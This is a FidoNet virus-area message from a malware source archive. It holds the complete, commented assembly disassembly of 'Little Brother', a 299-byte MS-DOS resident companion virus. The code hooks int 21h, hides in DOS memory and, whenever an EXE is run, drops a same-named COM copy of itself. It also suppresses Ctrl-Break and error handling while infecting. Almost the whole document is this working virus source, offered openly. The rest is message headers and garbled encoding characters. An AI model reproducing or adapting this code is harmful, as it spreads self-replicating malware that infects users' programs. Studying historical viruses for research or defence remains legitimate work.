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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir47.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 37 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:15
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : LTBRO299.DSM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Alan Jones, 2:283/718 (06 Nov 94 17:40)
;* To : Daniel Hendry
;* Subj : LTBRO299.DSM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Alan.Jones@f718.n283.z2.fidonet.org
;Little Brother - resident companion virus, 299 bytes.
;This virus stores itself inside DOS's data block, over the root directory
;copy. It hooks int 21h, function 4bh (subfunct. 0, load & exec) and
;creates a function 0deh for self identification. When a file is run,
;it first checks to see if it is a COM or an EXE. If it is an EXE, it
;will create a COM file with the same filename. Otherwise - if it is a
;COM, it will check to see if it is the virus by checking the size of the
;file and seeing if there is an EXE with the same (starting) filename.
;If so, it will change the filename to be run to the EXE host and allow
;DOS to execute it. This virus may cause errors (?) due to the place
;in memory it locates itself.
;Disassembly by Black Wolf.
.model tiny
.code
org 100h
start_virus:
cld
mov ax,0DEDEh ;Installation Check
int 21h
cmp ah,41h
je Exit_Virus ;If there - terminate
mov ax,44h
mov es,ax
mov di,100h ;Copy virus to 0044:0100
mov si,di ;Root directory entries?
mov cx,end_virus-start_virus ;This is inside DOS data
rep movsb ;block... may cause errors?
mov ds,cx ;DS = 0 = Interrupt table
mov si,84h ;0:84h = Int 21h entry in table
mov di,offset Old21_IP ;Save old Int 21h address
movsw
movsw
push es
pop ds ;Set DS to new seg...
mov dx,offset Int21_Handler
mov ax,2521h
int 21h ;Hook Int 21h.
Exit_Virus:
retn ;Terminate
EXE_Mask db 'EXE',0
COM_Mask db 'COM',0
CritErrHandler:
mov al,3
iret
Int21_Handler:
pushf
cmp ax,0DEDEh ;Is this an installation
je Install_Check ;check call?
push dx bx ax ds es ;Save regs....
cmp ax,4B00h ;Is it load and execute?
jne Exit_21h ;No... exit handler
call Infect_File ;Yes... infect file
Exit_21h:
pop es ds ax bx dx
popf
jmp dword ptr cs:[Old21_IP] ;Jump to Old Int 21h
Install_Check:
mov ax,4101h
popf
iret
Infect_File:
cld
mov word ptr cs:[Filename_off],dx ;Save filename offset
mov word ptr cs:[Filename_seg],ds ;and segment.
push cs
pop ds
mov dx,offset VirusDTA
mov ah,1Ah
int 21h ;Set DTA to us...
call Find_Extension
mov si,offset ds:[EXE_Mask]
mov cx,3
repe cmpsb ;Is it an EXE file?
jnz Not_EXE
mov si,offset COM_Mask
call Change_Ext ;Change extension to COM
mov ax,3300h
int 21h ;Get Ctrl-Break Status
push dx ;Save it....
xor dl,dl
mov ax,3301h
int 21h ;Disable Ctrl-Break.
mov ax,3524h
int 21h ;Get Int 24h handler's address
push bx
push es ;Save it for later...
push cs
pop ds ;DS = virus segment
mov dx,offset CritErrHandler
mov ax,2524h
int 21h ;Set Critical Error handler.
lds dx,dword ptr ds:[Filename_Off] ;DS:DX = filename
xor cx,cx ;Reg attributes
mov ah,5Bh
int 21h ;Create File..
jc Done_Infect
xchg ax,bx
push cs
pop ds
mov cx,end_virus-start_virus
mov dx,100h
mov ah,40h
int 21h ;Write entire virus
cmp ax,cx ;did it all write?
pushf
mov ah,3Eh ;Close file.
int 21h
popf
jz Done_Infect ;Yes, go Done_Infect
lds dx,dword ptr ds:[Filename_Off]
mov ah,41h
int 21h ;Delete file, incomplete
;write or write error.
Done_Infect:
pop ds
pop dx
mov ax,2524h
int 21h ;Restore Critical error handler
pop dx ;Get old CTRL-Break handler
mov ax,3301h ;status and restore it.
int 21h
mov si,offset EXE_Mask
call Change_Ext ;Change extension back to orig.
Leave_Infect:
retn
Not_EXE:
call Locate_File
cmp word ptr cs:[24dh], end_virus-start_virus
jne Leave_Infect ;Is the file size right for Virus?
mov si,offset EXE_Mask ;If so, is there an EXE of the same
call Change_Ext ;name as the COM file?
call Locate_File
jnc Leave_Infect ;If not exit, otherwise - is already
mov si,offset COM_Mask ;infected, so change extension
jmp short Change_Ext ;to run uninfected program.
Locate_File:
lds dx,dword ptr ds:[Filename_Off]
mov cl,27h
mov ah,4Eh
int 21h ;Find First Filename match.
retn
Change_Ext:
call Find_Extension
push cs
pop ds
movsw
movsw
retn
Find_Extension:
les di,dword ptr cs:[Filename_Off]
mov ch,0FFh
mov al,2Eh ;Scan through filename until a '.'
repne scasb
retn
Virus_Name db 'Little Brother',0
end_virus:
Old21_IP dw ?
Old21_CS dw ?
Filename_Off dw ?
Filename_Seg dw ?
VirusDTA:
end start_virus
;-+- FMail 0.96<EFBFBD>
; + Origin: **SERMEDITECH BBS** Soissons FR (+33) 23.73.02.51 (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/v Include full symbolic debug information
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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